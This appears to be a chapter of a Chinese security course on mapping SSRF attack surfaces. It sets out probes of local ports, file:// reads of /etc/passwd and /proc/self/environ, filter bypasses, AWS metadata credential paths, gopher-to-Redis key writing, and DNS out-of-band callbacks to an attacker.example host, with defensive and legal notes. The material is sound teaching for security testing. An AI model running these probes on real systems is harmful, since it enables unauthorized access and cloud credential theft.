📚 课程目录第4章 SSRF攻击面测绘

4. SSRF攻击面测绘

SSRF（Server-Side Request Forgery，服务端请求伪造）之所以危险，不在于“让服务器发一个请求”这个动作本身，而在于服务器所处的位置往往比攻击者更靠近内网、云控制面和本机资源。因此，攻击面测绘的核心问题是：当我能控制服务端发起请求的目标地址时，哪些资源是可达的、哪些协议是可用的、哪些响应是可回显的？本节围绕这一判断展开，先建立攻击目标分类，再给出可落地的探测方法与判读依据。

一、先建立攻击面分类：四类目标、三种可达性

从 SSRF 视角看，服务端可达的目标可以归为四类：本机资源（127.0.0.1、localhost、0.0.0.0、[::1] 上的服务与本地文件）、内网服务（RFC1918 私网段中的 Web、管理后台、API、中间件控制台）、云元数据与控制面（169.254.169.254、metadata.google.internal 等）、内部数据与消息组件（MySQL/Redis/MongoDB、RabbitMQ/Kafka 等）。

可达性则取决于三个条件：网络层是否可路由、协议层是否被请求库支持、响应是否可被回显或侧信道观测。三者缺一，攻击面就会收窄。测绘的目标就是逐项确认这三个条件。

二、本机资源：从端口到文件协议

本机是最容易被忽视却最常被利用的一层。很多服务只监听 127.0.0.1，认为“外网访问不到就安全”，但 SSRF 恰好让服务端自己成为访问者。探测时先做端口枚举，例如用 http://127.0.0.1:PORT/ 逐个请求，观察响应状态码、响应长度和响应时间。常见高价值端口包括 2375（Docker API）、6379（Redis）、8500（Consul）、9200（Elasticsearch）、8080/8443（管理后台）。

文件协议是另一条路径。若请求库支持 file://，可直接读取 file:///etc/passwd、file:///proc/self/environ、file:///proc/self/cmdline。判读依据是响应中是否出现 root:x:0:0 这类典型内容，或环境变量中的密钥、数据库连接串。需要注意的是，file:// 通常只在 PHP、Java 等部分运行时可用，Python requests 默认不支持，因此探测前应先确认目标技术栈。

三、内网服务：网段、端口与绕过

内网探测的关键是“在有限请求次数内定位存活服务”。建议按优先级组织：先测网关（如 10.0.0.1、192.168.1.1）确认网段存在，再测常见服务端口。一个可参考的端口字典如下：

80,443,8080,8443,8000,8888   # Web / 管理后台
3306,5432,6379,27017,9200    # 数据库与搜索
5672,15672,9092,2181         # 消息队列与协调服务
2375,2376,8500,8501          # 容器与配置中心

当目标存在黑名单（如禁止 127.0.0.1、禁止 169.254.169.254）时，常用绕过思路包括：用十进制/八进制/十六进制表示 IP（如 2130706433 表示 127.0.0.1）、用 0.0.0.0 或 [::]、用 DNS 重绑定让域名先解析到合法 IP 再解析到内网 IP、利用 302 跳转让服务端跟随到内网地址。这些方法的共同点是“解析结果与校验结果不一致”，因此防御侧必须在请求发出前做最终解析校验。

四、云元数据：最直接的凭证泄露路径

云环境中的元数据服务是 SSRF 的“高价值目标”。以 AWS EC2 为例，典型探测路径是：

GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

若返回 JSON 中包含 AccessKeyId、SecretAccessKey、Token，则意味着实例角色凭证已泄露，攻击者可据此调用云 API。阿里云、腾讯云、Azure 的元数据地址与路径略有差异，但思路一致。防御上应启用 IMDSv2（要求 token 且限制跳数），并对元数据请求做网络层限制。

五、数据库、缓存与消息队列：协议层的攻击面

这类组件通常不通过 HTTP 暴露，但 SSRF 可以借助 gopher://、dict:// 等协议构造原始 TCP 载荷。例如 Redis 未授权访问时，可通过 gopher 发送 SET、CONFIG SET dir、CONFIG SET dbfilename 等命令，将 SSH 公钥写入目标机器。探测时先确认协议是否被请求库支持，再确认目标端口是否可达，最后观察响应是否包含 +OK、-ERR 等 Redis 协议特征。

对于盲 SSRF（无回显），可借助 DNS 外带：让服务端请求 http://<随机子域>.attacker.example/，在 DNS 日志中观察是否产生解析记录，从而判断请求是否真正发出。时间侧信道也可用：请求一个不可达端口与一个开放端口，比较响应耗时差异。

测绘记录建议：每探测一个目标，至少记录四项——请求 URL、协议、响应状态/长度、判读结论（可达/不可达/需进一步验证）。这样既能避免重复探测，也能为后续修复提供证据链。

合规提醒：以上探测方法仅可用于已获得书面授权的目标系统。未经授权对内网、云元数据或第三方服务发起探测，可能违反《网络安全法》《刑法》第285条等法律法规。

六、从测绘到治理的衔接

攻击面测绘的产出不是“找到几个漏洞”，而是一张可达性地图：哪些地址段可达、哪些协议可用、哪些响应可回显、哪些组件存在未授权风险。这张地图直接决定后续治理的优先级——例如，若元数据可达且可回显，应优先启用 IMDSv2 并限制出站；若 gopher 协议可用且 Redis 可达，应优先做网络隔离与认证加固。测绘越具体，治理越有针对性。